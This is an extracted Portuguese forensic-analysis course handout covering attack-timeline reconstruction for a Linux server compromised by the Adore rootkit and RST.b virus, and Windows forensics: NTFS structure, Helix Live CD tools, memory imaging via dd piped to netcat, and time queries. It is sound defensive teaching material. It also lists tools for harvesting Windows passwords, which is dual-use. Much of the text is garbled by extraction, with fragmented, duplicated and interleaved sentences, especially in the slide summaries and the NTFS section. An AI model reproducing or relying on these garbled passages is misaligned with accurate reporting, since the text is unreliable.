Correlação ç de informações ç As evidências A idê i encontradas t d d devem ser correlacionadas l i d com as informações de tempo fornecidas pelas f ferramentas t fforenses: SunAug10200316:30:300macŞ/ŞŞŞŞŞŞŞŞŞŞ rootroot35804/dev/hdx1 0macŞ/ŞŞŞŞŞŞŞŞŞŞ rootroot35833/dev/hdx2
SunAug10200316:30:525636ma.Ş/ŞrwŞrŞŞrŞŞ rootroot47169 /usr/lib/adore.o
Sun Aug 10 2003 16:30:52 5636 ma. -/-rw-r--r-- root root 47169 /usr/lib/adore.o
No exemplo temos a criação dos arquivos /dev/hdx1 e /dev/hdx2, que normalmente indicam uma infecção pelo vírus RST.b. Vimos em sessões anteriores que o antivírus detectou a presença deste vírus em diversos arquivos na máquina, o que pode indicar que tais ferramentas foram executadas.
No exemplo seguinte temos indicações de acesso e modificação de conteúdo do arquivo adore.o, o executável do rootkit Adore, indicando que o mesmo foi instalado na máquina com sucesso.
Reconstrução ç do ataque q Após A ó encontrar t e correlacionar l i iinformações f õ dde ttempo das evidências coletadas, o analista deve tentar reconstruir t i as ações õ executadas t d pelos l invasores, i desde o momento da invasão até o momento em que a máquina á i ffoii llevada d para análise áli A reconstrução do ataque deve tentar descobrir o modo como o invasor obteve acesso ao sistema, identificando possíveis vulnerabilidades e ferramentas utilizadas no ataque e no controle do sistema Uma boa prática é criar uma tabela descrevendo os eventos de acordo com a linha de tempo
Reconstrução ç do ataque q Data
Ação / Evidência
06/Ago/2003 11:16:40
Last login: Wed Aug 6 11:16:40 on tty2
06/Ago/2003 12:09:17
Reinicialização do servidor (/etc/issue).
10/Ago/2003 13:24:29
Possível comprometimento do serviço HTTPS.
10/Ago/2003 13:33:57
Parada dos serviços syslogd e klogd.
10/Ago/2003 14:33:19
Possível instalação das ferramentas descritas na URL www.ntfs.com/ntfs-mft.htm
10/Ago/2003 15:52:10
Parada do serviço HTTPD.
10/Ago/2003 16:30:30
Infecção pelo vírus RST.b.
10/Ago/2003 16:30:52
Instalação do rootkit Adore.
10/Ago/2003 20:30:39
Começo da investigação (comando date no console)
Análise forense – Sessão de aprendizagem 7
Reconstrução do ataque Logicamente, todas as informações de conexão remota devem ser correlacionadas a logs externos ao servidor comprometido, para garantir a validade dos mesmos. Outra forma de verificar informações e identificar evidências é utilizando mecanismos de procura, como o Google. Além disso, todas as informações de tempo devem ser relativas ao mesmo timezone. Todas as ferramentas do pacote forense analisado têm opções para mostrar as informações de datas em timezones diferentes. Um bom relatório de análise forense deve ser composto por uma reconstrução o mais detalhada possível de tudo que aconteceu na máquina, bem como uma análise dos métodos e técnicas utilizadas pelo invasor, inclusive com possíveis soluções e técnicas para proteção e detecção deste tipo de ação no futuro.
119
Reconstrução ç do ataque q Finalmente, Fi l t o analista li t ddeve id identificar tifi possíveis í i soluções para os problemas e vulnerabilidades id tifi d identificados Se possível, devem ser sugeridas formas de se proteger ou identificar atividades como as ocorridas no sistema analisado Esta parte da análise forense permite ao responsável pela máquina p q invadida entender o que q aconteceu, p para que possa se proteger de futuros ataques
Conclusões
Conclusões Aprendemos A d a organizar i as evidências idê i encontradas t d numa linha de tempo, identificando os momentos chaves h d da iinvasão ã e o comprometimento ti t ddo servidor. id A linha de tempo é uma ferramenta indispensável para analisar o sistema. O objetivo final da análise forense e do relatório de j reconstrução do ataque é criar um documento que possa ser utilizado p p pela empresa p como conhecimento formalizado a partir dos erros e prevenção contra futuros ataques.
Vimos como organizar as evidências encontradas numa linha de tempo, identificando os momentos chaves da invasão e o comprometimento do servidor. A linha de tempo é uma ferramenta indispensável para analisar o sistema e responder às perguntas “Quando?” e “Como?” relativas à invasão. Estudamos ainda os pontos importantes que devem ser destacados em um relatório de reconstrução do ataque. Na próxima sessão conheceremos as principais ferramentas e técnicas existentes para realizar a análise forense em ambiente Windows.
Muitas das técnicas e teorias vistas nas sessões sobre análise forense em Linux podem e devem ser utilizadas em ambientes Windows, embora existam algumas diferenças importantes que devem ser levadas em consideração.
Linha de tempo e reconstrução do ataque
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 7
120
7 Sessão de aprendizagem 7 Linha de tempo e reconstrução do ataque Roteiro de atividades Tópicos e conceitos \\Identificar
quando e como ocorreu a invasão, dando uma visão clara do ataque e dos métodos utilizados pelo invasor.
Competências técnicas desenvolvidas \\O
aluno aprenderá a identificar a linha do tempo do ataque e identificar os eventos ocorridos no sistema comprometido.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90-120
minutos
Escola Superior de Redes RNP
122
Atividade 1 – Determinando a linha do tempo
Muitas ferramentas foram instaladas no sistema durante a ação dos invasores. Vimos na sessão 5 que existia um arquivo TAR que não havia sido apagado, mas movido de diretório. O arquivo chama-se /data/ compromised/s.tgz. Com um colega, tente identificar na linha de tempo informações que confirmem se os arquivo e ferramentas foram utilizados efetivamente pelos invasores. Lembre-se de que quando um arquivo é executado, o seu tempo de acesso é modificado. Quando ele é criado, o comando fls mostra mudanças nos tempos de acesso e modificação de status do arquivo ao mesmo tempo. Faça um relatório com suas conclusões.
Atividade 2 – Identificando os eventos
No material do aluno existe uma tabela Excel chamada timeline.xls, com todos os eventos encontrados na sessão 4 e sessões anteriores a ela, cadastrados de acordo com sua data de ocorrência. Complete esta tabela com as informações coletadas por você e seu colega nos exercícios das três sessões anteriores e nos resultados do exercício anterior. Após montar a tabela, apresente o resultado aos colegas de turma. Lembre-se de fornecer evidências que comprovem as atividades identificadas e catalogadas.
Análise forense – Sessão de aprendizagem 7
8 Sessão de aprendizagem 8 Análise forense em Windows Sumário da sessão Análise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 Sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 Kit de ferramentas forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126 Primeiras ações. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 Atividade 1 – Coleta de evidências em Windows. . . . . . . . . . . . . . . . . . . . . . . 134 Atividade 2 – Classificando as ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . 134 Atividade 3 – Busca de outras ferramentas para Windows. . . . . . . . . . . . . . . . 134
124
Escola Superior de Redes RNP
Análise forense em Windows O processo d de análise áli fforense em um sistema i t Windows não difere do ambiente Unix Principal diferença: informações voláteis Windows tem g grande presença p ç em desktop p de empresas e usuários caseiros (on-line) Resultado: análise em um sistema vivo (on line)
Análise forense em Windows Principais P i i i razões õ no comprometimento ti t d de um sistema i t Windows: Sistema infectado por vírus ou código malicioso Caso envolvendo direitos autorais Pornografia Fraude Presença de trojan ou backdoor Utilização do sistema de forma maliciosa
Análise forense em Windows Devido ao fato de sistemas Windows terem grande presença em ambientes de desktop de empresas e usuários caseiros, o tipo de incidente que geralmente envolve uma máquina com este sistema é um pouco diferente do que normalmente acontece com sistemas Linux utilizados em servidores. Toda a metodologia utilizada nas sessões anteriores ainda é válida neste caso. A principal diferença é que em sistemas Windows as informações mais desejadas são voláteis e somente podem ser obtidas no sistema vivo (live system ou on-line), o que exige a realização de procedimentos de coleta de dados ao vivo. Existe uma diferença grande entre os diversos tipos de incidentes que ocorrem em uma máquina comprometida. Por exemplo, em um caso de máquina infectada por vírus, o procedimento que geralmente se toma é a formatação da máquina sem maiores investigações. No caso de utilização maliciosa do sistema ou de fraude, muitas vezes as autoridades serão envolvidas e, nestes casos, não é necessário coletar muitas evidências em sistemas vivos, mas sim manter a máquina do suspeito sob custódia para que seja investigada pela autoridade policial competente.
Em casos de pornografia infantil, o investigador tem que tomar muito cuidado com a coleta de evidências, pois a lei não permite a transmissão ou cópia do material pornográfico, o que pode causar problemas jurídicos para o investigador e para a empresa. É recomendável entrar em contato com as autoridades policiais o mais rápido possível e discutir com eles a melhor ação a ser tomada. Não é possível simplesmente desligar a máquina, pois ela pode estar sendo monitorada como parte de uma investigação mais ampla.
Análise forense – Sessão de aprendizagem 8
125
Sistema de arquivos
Sistema de arquivos q Si t Sistema d de arquivos i NTFS Padrão no Windows XP e Vista Windows Vista implementa o TxF em cima do NTFS Versão atual: 3.1 Veremos ferramentas para NTFS, NTFS mas a maioria funciona em FAT e FAT32 Uma partição NTFS é composta de diversas estruturas, sendo que a principal é a Master File Table (MFT)
O Windows Vista também utiliza o sistema NTFS como padrão, mas implementa no sistema de arquivos uma outra estrutura chamada Transactional File System (TxF). Este sistema de arquivos implementa uma estrutura de banco de dados em cima do NTFS, permitindo diversas funcionalidades oferecidas pelo Windows Vista. Os sistemas de arquivos compatíveis com o
Sistema de arquivos q Windows são os seguintes: FAT (File Alocation Table),
FAT32, NTFS e TxF. Do ponto de vista do usuário, a grande diferença está no aumento da capacidade das partições que cada sistema pode sistema permite no máximo partições de 32 gigaSi ttrabalhar. Sistema d deOarquivos i FATNTFS bytes, enquanto as versões mais recentes do NTFS e do TxF permitem partições Padrão no Windows XP e Vista superiores a 2 terabytes.
Windows Vista implementa o TxF em cima do NTFS
Versãopresente atual: 3.1em um volume NTFS é o Partition Boot Sector e A primeira informação Veremos ferramentas NTFS mas NTFS, maioriaOfunciona FAT e o primeiro arquivo do volume NTFS épara o Master FileaTable. sistemaem operacional FAT32 reserva sempre 12% do tamanho do disco para armazenar o MFT, espaço sempre partição contínuo a partir Uma do início do NTFS disco.é composta de diversas estruturas, sendo que a principal é a Master File Table (MFT)
Sistema de arquivos q O MFT é composto de 16 registros, registros sendo que somente 12 são utilizados atualmente: $MFT – Master File Table $MftMirr – Cópia de Master File Table $LogFile – Arquivo de registro de eventos do NTFS $Volume – Informações sobre o volume $AttrDef – Definições de atributos $ – Diretório Di tó i raiz i do d sistema i t $. $Bitmap – Mapa de utilização de clusters $Boot – Setor de boot da partição $BadClus – Lista de bad cluster $Secure – Informações sobre segurança $Upcase – Tabela de conversão de caracteres $Extend – Arquivo de extensões do NTFS
Análise forense em Windows
Estas estruturas são importantes quando se tenta recuperar informações sobre o sistema de arquivos com as ferramentas de análise forense que vimos anteriormente. A área que sobra da MFT após armazenar os registros acima serve para armazenar as informações de arquivos e diretórios do sistema.
126
Escola Superior de Redes RNP
Sistema de arquivos q Os arquivos são armazenados como uma série de atributos, atributos equivalentes aos inodes no Linux: Standard Information – Inclui informações como timestamps e número de links Attribute List – Lista a localização de todos os atributos do arquivo File Name – Armazena o nome do arquivo S Security it D Descriptor i t – Informações I f õ sobre b o dono d do d arquivo i e permissões i õ dde acesso Data – Armazena os dados do arquivo Object ID – Identificador único de arquivo Logged Tool Stream – Registro de mudanças do metadado Reparse Point – Ponto de junção para diretórios e volumes Index Root – Usado para implementar índice de arquivos e diretórios Index Allocation – Usado para implementar índice de arquivos e diretórios Index Bitmap – Usado para implementar índice em diretórios muito longos Volume Information – Contém a versão do volume Volume Name – Contém o nome do volume
Os registros sobre arquivos são armazenados na forma de atributos, equivalentes aos inodes no Linux. Entretanto, o NTFS armazena muito mais informações sobre os arquivos. Os atributos de nome de arquivos podem ser repetidos arbitrariamente e permitem armazenar o nome MS-DOS do arquivo (8.3 caracteres), nomes longos (255 caracteres), além de nomes de links para o arquivo.
O atributo de dados é utilizado para armazenar o conteúdo dos arquivos. Uma diferença importante no NTFS é a possibilidade de existir mais de um atributo de dados para um mesmo arquivo. Isto é, um mesmo arquivo pode armazenar múltiplos conteúdos totalmente distintos, processo conhecido como Alternate Data Streams. Conheceremos este tipo de estrutura nas próximas sessões.
Kit de ferramentas forense
Kit de ferramentas forense Capaz de reproduzir resultados Não altera os dados analisados Mí i de Mínimo d iinterferência t f ê i possível í l Possui validade jurídica Graphical User Interface (GUI) p ( ) X Console User Interface (CUI)
O kit possui ferramentas capazes de reproduzir o mesmo resultado quando executadas em condições similares, ou seja, duas ferramentas precisam gerar o mesmo resultado sob as mesmas condições para provar que não interferem nos dados. A ferramenta não deve realizar nenhuma alteração quando examina alguma evidência. Este fato pode ser comprovado pela comparação de hashes criptográficos (MD5, SHA1).
Outra característica delas deve ser interferir o mínimo possível no ambiente onde coletam dados, ou seja, quanto menor o grau de interação da ferramenta com o ambiente, menor a ocorrência de contaminação de evidências. Devem possuir validade jurídica e/ou ser aceitas como instrumentos de coleta de evidências. Para o processo de interação com sistema vivo é recomendada a utilização de ferramentas de comando de linha, pois elas causam uma interferência menor no ambiente analisado. Já para análises em imagens e evidências, pode-se utilizar ferramentas com interface gráfica, uma vez que esta etapa é realizada na estação de análise forense.
Análise forense – Sessão de aprendizagem 8
127
\\Custo
– Algumas opções comerciais podem ser caras demais para serem utilizadas esporadicamente.
Kit de ferramentas forense Outros O t pontos t a considerar: id Custo Licenciamento Código fonte Código-fonte Portabilidade
\\Licenciamento
– Algumas ferramentas não podem ser distribuídas em CDs. Seu uso, mesmo que gratuito, necessita que a ferramenta seja obtida diretamente do autor.
\\Código-fonte
– Muitas das opções gratuitas possuem código aberto, o que permite que sejam auditadas para garantir que os resultados não sejam alterados e não possuam ações não declaradas.
\\Portabilidade
– Algumas ferramentas podem ser utilizadas em diversos sistemas operacionais, o que pode facilitar sua escolha em razão da familiaridade de uso.
O Live CD do Helix pode ser usado em ambientes Windows, pois contém um pacote de ferramentas úteis para coleta de evidências em sistemas vivos:
Kit de ferramentas forense Ferramentas disponíveis no Live CD do Helix: 2K 2K3 AgileRM Bin Cygwin DiamondCS FAU Foundstone FSP Hoverdesk
Imager g IRCR Microsoft Net Latency Nir Soft NT NT Security PCtime Perl Putty
Sysinternals y System Tools UnxUtils Vista WFT WinDBG Winfingerprint XP cmdenv1 bat cmdenv1.bat NC_Server.bat
\\2K
– Executáveis básicos do sistema para Windows 2000 (cmd.exe, netstat.exe, ifconfig.exe etc). Contém também o Windows 2000 Resource Kit;
\\2K3
– Executáveis básicos do sistema para Windows 2003 (cmd.exe, netstat.exe, ifconfig.exe etc);
\\AgileRM
(Nigilant32) – Ferramenta de auxílio ao investigador que permite realizar cópia do disco e de memória de sistemas Windows, além de coletar informações sobre registro e processos em execução, entre outras funções;
\\Bin
– Contém ferramentas variadas para coleta de evidências. Entre elas, podemos citar foremost.exe, nc.exe, sha1deep.exe, além de ferramentas para coletar o registro do Windows e nomes de usuários e senhas do sistema;
\\Cygwin
– Ferramentas Unix portadas para Windows: strings, cat, file, wget, less e ls, entre outras;
\\DiamondCS
(DiamondCS tools) – Ferramentas para coletar nomes de processos, portas abertas e conexões ativas na máquina;
\\FAU
(Forensic Acquisition Utilities) – Ferramentas para coleta de evidências; inclui dd, nc, volume_dump, md5sum e wipe;
\\Foundstone
– Ferramentas para coleta de evidências: análise de cookies, históricos do Internet Explorer, portas abertas, entre outros;
\\FSP
– Ferramenta cliente/servidor para coleta de dados voláteis remotamente;
\\ Hoverdesk
Análise forense em Windows
– Ferramenta para capturar snapshot da tela;
128
Escola Superior de Redes RNP \\Imager
(FTK Imager) – Ferramenta para coleta de evidências e imagem de disco;
\\IRCR
– Coleção de scripts BAT para automatizar a execução de diversas ferramentas do Live CD do Helix;
\\Microsoft
– Algumas ferramentas do Windows para versões antigas (Windows
98 e ME); \\Net
Latency – Duas ferramentas para mostrar espaço livre em disco e serviços rodando na máquina;
\\Nir
Soft – Diversas ferramentas para recuperação de senhas do Windows e aplicativos;
\\NT
– Executáveis básicos do sistema para Windows NT;
\\NT
Security – Ferramentas para coleta de informações de segurança do disco e do Windows;
\\PCtime
– Ferramenta para sincronização de tempo com NTP;
\\Perl
– Ferramentas para identificação de modem, Alternate Data Streams, coleta de mac times e de interfaces de rede;
\\Putty
– Cliente SSH de uso livre;
\\Sysinternals
– Ferramentas para coleta de informações sobre processos, conexões e serviços, entre outras informações;
\\System
Tools – Ferramentas para coletar informações sobre usuários, eventos do log do Windows, usuários e políticas de segurança instaladas na máquina;
\\UnxUtils
– Algumas ferramentas de Unix portadas para Windows;
\\Vista
– Executáveis básicos do sistema para Windows Vista (cmd.exe, netstat. exe, ifconfig.exe etc);
\\WFT
(Windows Forensic Toolchest) – Instrumento para automatizar a execução de diversas ferramentas e sumarizar os resultados;
\\WinDBG
– Depurador de código para Windows;
\\Winfingerprint
– Ferramenta para coletar informações sobre processos e DLLs associadas a eles;
\\XP
– Executáveis básicos do sistema para Windows XP (cmd.exe, netstat.exe, ifconfig.exe, etc);
\\cmdenv1.bat
– Arquivo BAT para modificar variáveis de ambiente visando a utilização exclusiva das ferramentas do CD do Helix, evitando assim que se use as ferramentas possivelmente comprometidas do sistema;
\\NC_Server.bat
Análise forense – Sessão de aprendizagem 8
– Arquivo BAT para iniciar um servidor Netcat na máquina.
129
Kit de ferramentas forense Outras fontes de ferramentas: www.sysinternals.com www.foundstone.com f d t users.erols.com/gmgarner/forensics Wi d Windows R Resource Kit – www.microsoft.com i ft Windows XP Service Pack 2 Support Tools – www microsoft com www.microsoft.com GNU utilities for Win32 – unxutils.sourceforge.net Win32 Forensics Tools – www.first.org first org http://www.forensicswiki.org/index.php?title=Helix htt // f i t d /f i /f i t l ht l http://www.forinsect.de/forensics/forensics-tools.html http://www.opensourceforensics.org/tools/windows.html
As ferramentas que compõem o kit de análise forense devem ser gravadas impreterivelmente em mídia que não permita contaminação, como é o caso do Live CD do Helix. Mesmo com esse procedimento é necessário possuir os hashes criptográficos (md5sum ou sha1sum) de todos os arquivos para garantir que a ferramenta em uso não foi modificada. A relação dos hashes deve ser armazenada na mesma mídia das ferramentas. No diretório \IR e também no Live CD do Helix (diretório \IR) o aluno pode encontrar as assinaturas MD5 das ferramentas disponíveis.
Primeiras ações
Primeiras ações ç Primeiras ações: Preservar evidências C l t evidências Coletar idê i mais i voláteis lát i Verificação externa do sistema: Nú Números de d série éi Dispositivos conectados E t d gerall ddo sistema i t Estado Conectividade Energia Tela do sistema (console): Fotografia Print-screen (compromete a memória)
As primeiras ações do investigador ao ter acesso a um sistema vulnerável podem comprometer evidências se não forem tomados cuidados com a ordem de coleta das evidências. Preferencialmente, o investigador deve começar a coleta de evidências por aquelas mais voláteis e que não poderão ser reproduzidas posteriormente. Entre essas evidências estão as informações sobre o ambiente onde a máquina está localizada, sobre a tela do computador e sobre a memória RAM.
O primeiro passo ao interagir com um sistema é fazer a correta identificação do mesmo, verificando número de série, de patrimônio ou qualquer outra numeração que permita ter certeza de que se trata do sistema investigado. Isto permite também identificar corretamente o sistema caso seja necessário. A interação com o sistema deve ser presenciada preferencialmente por um representante legal, para garantir a validade do processo, e todos os passos devem ser cuidadosamente registrados para posterior verificação. Deve-se evitar capturar a tela do computador com um print screen, pois com isso perdem-se as informações que estavam na área de transferência (clipboard) e podem ser comprometidas as evidências em memória. O kit de ferramentas pode estar disponível em um CD ou drive USB, sendo que a utilização de um CD é mais recomendável, pois interfere menos no sistema. Como unidade de armazenamento dos dados coletados podemos utilizar um drive USB, ou enviar os dados remotamente para a estação forense do investigador.
Análise forense em Windows
130
Escola Superior de Redes RNP
Eventualmente essa configuração pode não estar disponível no sistema a ser analisado, razão pela qual devemos possuir mídias alternativas, como disco Firewire ou até mesmo uma cópia do kit em disquetes.
cmd.exe
Podemos ver acima o comando utilizado para executar o prompt de comandos, a partir do item “Executar” do menu do Windows. Após executar o prompt, existe um arquivo BAT chamado cmdenv.bat dentro do diretório \IR\xp, que modifica a variável PATH do sistema para apontar somente para os diretórios de ferramentas no CD. Dessa forma, garantimos que não executaremos nenhuma ferramenta comprometida no sistema. O investigador deve sempre se lembrar desse passo que garante a validade das evidências coletadas. Imagem da memória na estação forense: D:\IR\xp> nc -l -p 999 > d:\tmp\physmem.img8
Imagem da memória na máquina comprometida:
Primeiras ações ç I Imagem d da memória ói Na estação forense: D:\IR\xp>nc l p999>d:\tmp\physmem img D:\IR\xp>ncŞlŞp999>d:\tmp\physmem.img
Na máquina comprometida: D:\IR\xp>ddif=\\.\Physicalmemoryconv=noerror|nc127.0.0.1999 CommandLine:ddif=\\.\Physicalmemoryconv=noerror 27/01/200823:12:59(UTC) 27/01/200821:12:59(localtime) CurrentUser:COMPUTADOR\usuario Totalphysicalmemoryreported:1047024KB Copyingphysicalmemory... y y g Physicalmemoryintherange0x00100000Ş0x001ff000couldnotberead. Stoppedreadingphysicalmemory: 27/01/200823:14:07(UTC) 27/01/200821:14:07(localtime) 261871+0recordsin 261871+0recordsout
Análise forense – Sessão de aprendizagem 8
D:\IR\xp> dd if=\\.\Physicalmemory conv=noerror | n c 127.0.0.1 9998 Command Line: dd if=\\.\Physicalmemory conv=noerror 27/01/2008 23:12:59 (UTC) 27/01/2008 21:12:59 (local time) Current User: COMPUTADOR\usuario Total physical memory reported: 1047024 KB Copying physical memory... Physical memory in the range 0x00100000-0x001ff000 c ould not be read. Stopped reading physical memory: 27/01/2008 23:14:07 (UTC) 27/01/2008 21:14:07 (local time) 261871+0 records in 261871+0 records out
131
Para realizar a imagem da memória não é recomendável utilizar as ferramentas gráficas do CD de ferramentas, pois como elas serão carregadas na memória, provavelmente vão sobrescrever evidências que poderiam ser úteis. Portanto, vamos utilizar a ferramenta dd.exe disponível no pacote de ferramentas, pois esta é uma versão com suporte à coleta de memória RAM, além de outras funcionalidades. Para utilizar o dd, precisamos especificar um dispositivo especial chamado \\.\ PhysicalMemory que dá acesso à memória física do sistema. Para garantir a preservação de evidências, esta versão da ferramenta dd não permite gravação de arquivos em dispositivos locais, de modo que precisamos redirecionar a saída do comando para o comando netcat, como vimos em sessões anteriores.
Primeiras ações ç Hora d H do sistema i t Necessário conhecer horário correto e timezone da máquina Garante a correlação ç de evidências com registros g externos D:\IR\xp>date/t dom27/01/2008 D:\IR\xp>time/t 21:41
Para garantir a coerência das evidências e identificar modificações causadas no sistema pelo investigador e diferenciá-las das modificações provocadas pelo invasor, é importante identificar corretamente o horário e o timezone do sistema. Desta forma, se houver alguma diferença entre o horário da máquina comprometida e a estação forense, ela pode ser levada em conta na hora de analisar as evidências coletadas. Versões diferentes de sistema operacional fornecerão resultados distintos para os comandos acima. Algumas versões do comando date mostram também o horário da máquina.
Primeiras ações
Hora do sistema:
Hora do sistema
D:\IR\xp> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneIn formation Listing of [SYSTEM\CurrentControlSet\Control\\TimeZoneInformation] REG_DWORD Bias 180 REG_SZ StandardName E. South America Standard Time REG_DWORD StandardBias 0 REG_BINARY StandardStart Data to follow: 00000200 03000000 00000000 00000000 REG_SZ DaylightName E. South America Daylight Time REG_DWORD DaylightBias -60 REG_BINARY DaylightStart Data to follow: 00000A00 02000000 00000000 00000000 REG_DWORD ActiveTimeBias 120
D:\IR\xp> reg query HKEY_LOCAL_MACHINE\SYSTEM\Curre ntControlSet\Control\TimeZoneInformation8 Listing of [SYSTEM\CurrentControlSet\Control\\TimeZ oneInformation] REG_DWORD Bias 180 REG_SZ StandardName E. South America Standard Time REG_DWORD StandardBias 0 REG_BINARY StandardStart Data to follow: 00000200 03000000 00000000 00000000 REG_SZ DaylightName E. South America Daylight Time REG_DWORD DaylightBias -60 REG_BINARY DaylightStart Data to follow: 00000A00 02000000 00000000 00000000 REG_DWORD ActiveTimeBias 120
Podemos fazer uma consulta no registro para descobrir o timezone. Além disso, já vimos que o comando dd fornece a hora do sistema em horário UTC e horário local. A ferramenta reg.exe permite fazer consultas a chaves de registro. Análise forense em Windows
132
Escola Superior de Redes RNP
Primeiras ações ç H d Hora do sistema i t D:\IR\xp>nettime\\computador Currenttimeat\\computadoris1/27/20089:51PM Thecommandcompletedsuccessfully. Thecommandcompletedsuccessfully D:\IR\xp>nettime\\computador/QUERYSNTP ThecurrentSNTPvalueis:200.144.121.33,0x1 The command completed successfully.
Conclusões Vimos nessa sessão Vi ã os conceitos it bá básicos i dde análise áli forense em sistemas Windows Algumas características do NTFS diferem das que vimos até agora em ambientes Linux Conhecemos as ferramentas do Live CD do Helix e vimos como utilizar algumas delas p para coletar g evidências em uma máquina comprometida
Análise forense – Sessão de aprendizagem 8
Podemos verificar acima que o sistema sincroniza o horário com um servidor NTP remoto, o que é uma boa garantia de que o horário da máquina está correto. Isto facilita a correlação de eventos com fontes externas como logs de roteadores e firewalls. O comando net.exe também permite fazer uma série de consultas importantes ao sistema. Vamos conhecer mais características deste comando nas sessões seguintes, mas vale a pena estudar melhor o funcionamento dessa ferramenta.
Conclusões Na próxima sessão vamos conhecer mais sobre as ferramentas que permitem coletar informações sobre processos e conexões de rede, e sobre as estruturas próprias do Windows, como registro, usuários e políticas de segurança.
8 Sessão de aprendizagem 8 Análise forense em Windows Roteiro de atividades Tópicos e conceitos \\Iniciando
a análise forense em sistemas Windows.
Competências técnicas desenvolvidas \\O
aluno aprenderá a iniciar uma investigação de um sistema Windows e a utilizar as ferramentas disponíveis para o trabalho.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90
minutos
Escola Superior de Redes RNP
134
Atividade 1 – Coleta de evidências em Windows
Execute os passos descritos na sessão em sua estação e documente todos os passos tomados, criando fichas de evidência do mesmo modo como foi feito nas sessões anteriores. Você deve coletar informações sobre o ambiente onde está sua máquina, documentar as informações externas, capturar a tela (pode usar um print screen ou ferramenta de captura), coletar imagem da memória e informações sobre o horário da máquina. Não é necessário coletar uma cópia da imagem de disco, mas colocar em seu relatório os comandos necessários para realizar essa operação.
Atividade 2 – Classificando as ferramentas
Use o tempo destinado a este exercício para estudar as ferramentas presentes no pacote de ferramentas. Prepare um relatório descrevendo a função de cada ferramenta. Quais ferramentas podem ser utilizadas para coletar uma imagem da memória RAM da máquina? Quais ferramentas permitem fazer cópias do disco? Qual delas você acha que é a ferramenta mais completa, no sentido de coletar mais informações úteis ao investigador?
Atividade 3 – Busca de outras ferramentas para Windows
Pesquise na internet outras ferramentas para realizar análise forense em sistemas Windows. Faça um relatório descrevendo as ferramentas que encontrar e as características que as tornam interessantes. Dica: comece com os links de Forensic Windows Tools e Forensics Tools fornecidos na bibliografia.
Análise forense – Sessão de aprendizagem 8
9 Sessão de aprendizagem 9 Análise forense avançada em Windows Sumário da sessão Análise forense avançada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 Coleta de informações básicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 Processos em execução no sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 Bibliotecas do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 Informações sobre arquivos abertos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 Serviços em execução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153 Atividade 1 – Levantando informações do sistema . . . . . . . . . . . . . . . . . . . . . 154 Atividade 2 – Identificando processos comprometidos . . . . . . . . . . . . . . . . . . 154 Atividade 3 – Novas ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154
136
Escola Superior de Redes RNP
Análise forense avançada em Windows
Análise forense avançada em Windows Windows tem características que tornam mais complexa a coleta de evidências Mesmo assim, as técnicas vistas até agora continuam valendo: Informações básicas sobre o sistema Identificação e coleta de processos em execução Informações sobre bibliotecas em uso Serviços
A realização de um processo de análise forense em um sistema Windows não difere conceitualmente do processo realizado no ambiente Linux. A principal diferença é que em um sistema Windows as informações mais desejadas são voláteis e só podem ser obtidas no sistema vivo (live system ou on-line), o que exige a realização de inúmeros procedimentos de coleta de dados ao vivo.
Devido ao fato de sistemas Windows terem grande presença em ambientes de desktop de empresas e usuários caseiros, o tipo de incidente que em geral envolve uma máquina com este sistema é um pouco diferente do que normalmente acontece com sistemas Linux, que costumam ser utilizados em servidores. Por este motivo, as principais razões para a realização de um procedimento de análise forense em um sistema Windows são as seguintes: \\O
sistema está infectado por algum vírus ou código malicioso;
\\O
sistema foi comprometido;
\\Caso
envolvendo direitos autorais;
\\Pornografia; \\Fraude; \\Presença
de trojan ou backdoor instalado;
\\Utilização
do sistema de forma maliciosa.
Coleta de informações básicas Informações sobre o sistema D:\IR\xp> uptime 18:38:20 up 3:58,
0 users,
load average: 0.00, 0.00, 0.00
D:\IR\xp> hostname Computador D:\IR\xp> whoami Usuario
Coleta de informações básicas Assim como na coleta de evidências em Linux, precisamos saber inicialmente há quanto tempo o sistema está ligado, para restringir o período possível para a ocorrência do incidente. Para isso, vamos utilizar uma ferramenta disponível no kit de ferramentas do Live CD do Helix. Abra um prompt de comandos, faça as mudanças nas variáveis de ambiente para executar somente os binários do kit (cmdenv.bat) e execute os comandos mostrados.
O comando uptime.exe permite saber há quanto tempo o sistema está on-line. Podemos verificar também que ele indica o número de usuários que estão acessando o sistema, valor que nem sempre bate com a realidade, pois ele busca essa informação em um local diferente de onde o Windows normalmente a mantém. Análise forense – Sessão de aprendizagem 9
137
